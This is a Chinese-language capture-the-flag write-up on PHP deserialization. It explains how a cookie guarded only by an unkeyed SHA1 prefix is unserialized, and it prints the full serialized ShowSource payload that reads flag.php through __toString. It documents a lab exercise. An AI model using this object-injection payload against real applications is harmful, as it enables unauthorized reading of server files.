vishwactf_php反序列化

144 阅读1分钟

PHP反序列化
在这里插入图片描述
刚开始一个页面,点击右下角可以查看源码
在这里插入图片描述
在这里插入图片描述
主要代码就是这些,开始分析代码

Class ShowSource{  
    public function __toString()  
    {  
        return highlight_file($this->source, true);  
    }  
}

这里创建了一个ShowSource类, __toStrin方法在调用echo的时候会触发这个魔法类

if(isset($_GET['source'])){  
    $s = new ShowSource();  
    $s->source = __FILE__;  
    echo $s;  
    exit;  
}

这里判断是否传入一个source,条件位真之后,实例化一个对象s,把对象里面的source,设置为当前页面的路径。

$todos = [];  
  
if(isset($_COOKIE['todos'])){  
    $c = $_COOKIE['todos'];  
    $h = substr($c, 0, 40);  
    $m = substr($c, 40);  
    if(sha1($m) === $h){  
        $todos = unserialize($m);  
    }  
}

这里判断COOKIE,里面是否存在todos,存在之后赋值给变量$c,取$c的前40位赋值给$h,取剩下的给$m,判断$m的sha1加密值是否和$h一致,条件为真之后对$m反序列化,并且赋值给数组 $todo。

if(isset($_POST['text'])){  
    $todo = $_POST['text'];  
    $todos[] = $todo;  
    $m = serialize($todos);  
    $h = sha1($m);  
    setcookie('todos', $h.$m);  
    header('Location: '.$_SERVER['REQUEST\_URI']);  
    exit;  
}

这些代码没有用处可以忽略。
<?php foreach($todos as $todo):?> 表示去遍历todos
<?=$todo?> 等价于<echo $todo?> ,这个就可以触发__toString()函数
<?php endforeach;?>结束遍历

所以我们只需要构造一个如下的代码就可以获取flag
在这里插入图片描述
把对象s设置成数组通过序列化函数输出之后就得到了poc
在这里插入图片描述
然后根据cookie的条件拼接poc就可以获取flag
在这里插入图片描述
db2a103dd4cc5d8271a28152d8f3de49379d9ad8a:1:{i:0;O:10:"ShowSource":1:{s:6:"source";s:8:"flag.php";}}

然后访问初始页面抓包修改flag得到flag,记得要url编码
在这里插入图片描述
在这里插入图片描述